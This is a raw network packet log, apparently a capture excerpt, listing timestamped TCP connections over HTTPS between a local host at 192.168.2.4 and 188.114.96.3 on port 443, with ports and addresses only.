Jan 9, 2025 08:31:07.568464041 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.570168972 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.570187092 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.777102947 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.777154922 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.777180910 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.777209044 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.777218103 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.777230978 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.777254105 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.777307034 CET	443	50275	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.777465105 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.778134108 CET	50275	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.779129982 CET	50276	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.779176950 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:07.779304981 CET	50276	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.779563904 CET	50276	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:07.779582977 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.262959957 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.265177011 CET	50276	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:08.265242100 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.426219940 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.426273108 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.426302910 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.426331997 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.426419973 CET	443	50276	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.426461935 CET	50276	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:08.429745913 CET	50276	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:08.441509008 CET	50276	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:08.547091961 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:08.547159910 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:08.547456980 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:08.550723076 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:08.550738096 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.005990982 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.008462906 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.008502007 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141062975 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141119957 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141149044 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141163111 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.141184092 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141215086 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141223907 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.141231060 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141284943 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.141294956 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141315937 CET	443	50277	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.141361952 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.142540932 CET	50277	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.144083023 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.144145012 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.144208908 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.144494057 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.144509077 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.610459089 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.612212896 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.612231016 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.735882998 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.735935926 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.735969067 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.736001968 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.736021042 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.736032009 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.736046076 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.736119032 CET	443	50278	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.736166954 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.736920118 CET	50278	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.737931967 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.737988949 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:09.738059998 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.738328934 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:09.738342047 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.213490963 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.215485096 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.215512991 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.347469091 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.347524881 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.347557068 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.347583055 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.347584963 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.347599030 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.347784996 CET	443	50279	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.347795010 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.351576090 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.352824926 CET	50279	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.352828026 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.352868080 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.355576038 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.359498024 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.359508038 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.842597961 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.844255924 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.844278097 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.990149021 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.990192890 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.990251064 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.990292072 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.990312099 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.990323067 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.990334034 CET	443	50280	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.990372896 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.991615057 CET	50280	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.993098974 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.993149042 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:10.993211985 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.993520021 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:10.993535995 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.502401114 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.504204988 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.504235983 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.645479918 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.645541906 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.645575047 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.645607948 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.645623922 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.645659924 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.645690918 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.645723104 CET	443	50281	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.645776987 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.647027016 CET	50281	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.648411036 CET	50282	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.648469925 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:11.648530006 CET	50282	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.648876905 CET	50282	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:11.648886919 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.124147892 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.125861883 CET	50282	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.125899076 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.253257036 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.253309965 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.253339052 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.253365040 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.253468990 CET	443	50282	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.253499031 CET	50282	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.253523111 CET	50282	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.254560947 CET	50282	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.255661964 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.255719900 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.255877018 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.256139994 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.256154060 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.736737013 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.739178896 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.739211082 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.879045963 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.879096031 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.879127979 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.879159927 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.879240990 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.879240990 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.879252911 CET	443	50283	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.881566048 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.882903099 CET	50283	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.882905960 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.882955074 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:12.883127928 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.885493040 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:12.885504961 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.367533922 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.369168043 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.369185925 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.487951994 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.488006115 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.488039970 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.488068104 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.488142967 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.488172054 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.488194942 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.488886118 CET	443	50284	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.488941908 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.489196062 CET	50284	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.490629911 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.490672112 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.490758896 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.490973949 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.490984917 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.964210987 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:13.969515085 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:13.969530106 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.098361015 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.098412991 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.098442078 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.098468065 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.098550081 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.098550081 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.098555088 CET	443	50285	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.101572037 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.102917910 CET	50285	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.102937937 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.102986097 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.105911970 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.106267929 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.106280088 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.561729908 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.565360069 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.565385103 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.703427076 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.703483105 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.703511000 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.703538895 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.703588009 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.703624010 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.703638077 CET	443	50286	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.703663111 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.703722000 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.705327988 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.705332041 CET	50286	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.705368996 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:14.705574036 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.709491014 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:14.709501028 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.194040060 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.196410894 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.196439028 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.333398104 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.333447933 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.333477974 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.333498955 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.333504915 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.333515882 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.333542109 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.333617926 CET	443	50287	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.333657026 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.334546089 CET	50287	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.340590000 CET	50288	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.340640068 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.340708971 CET	50288	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.341053963 CET	50288	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.341073036 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.795986891 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.797828913 CET	50288	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.797858000 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.921345949 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.921397924 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.921431065 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.921458960 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.921542883 CET	50288	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.921567917 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.921581984 CET	443	50288	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.921634912 CET	50288	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.922410965 CET	50288	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.923398018 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.923449039 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:15.923515081 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.923738956 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:15.923753023 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.386637926 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.391143084 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.391174078 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.510472059 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.510526896 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.510561943 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.510595083 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.510682106 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.510682106 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.510720015 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.511445045 CET	443	50289	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.513576984 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.513828039 CET	50289	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.514755011 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.514796019 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.514933109 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.517491102 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.517502069 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.973274946 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:16.976512909 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:16.976536036 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.094218969 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.094266891 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.094299078 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.094307899 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.094331980 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.094361067 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.094367027 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.094372034 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.094420910 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.098438978 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.098505020 CET	443	50290	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.098551989 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.143320084 CET	50290	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.165411949 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.165467978 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.165530920 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.166150093 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.166172028 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.619600058 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.622194052 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.622227907 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.749955893 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.750008106 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.750039101 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.750051022 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.750065088 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.750077963 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.750102997 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.750169992 CET	443	50291	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.750211000 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.759994984 CET	50291	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.761792898 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.761825085 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:17.761888027 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.762242079 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:17.762252092 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.226102114 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.227961063 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.227973938 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361095905 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361150980 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361181021 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361207962 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361211061 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.361227989 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361306906 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.361315012 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361326933 CET	443	50292	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.361386061 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.361386061 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.363018036 CET	50292	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.363034010 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.363080025 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.363178968 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.363415956 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.363430977 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.837948084 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.839701891 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.839731932 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973020077 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973073959 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973126888 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973126888 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.973170996 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973205090 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973215103 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.973222971 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973258972 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.973264933 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973298073 CET	443	50293	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.973344088 CET	50293	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.974468946 CET	50293	443	192.168.2.4	188.114.96.3
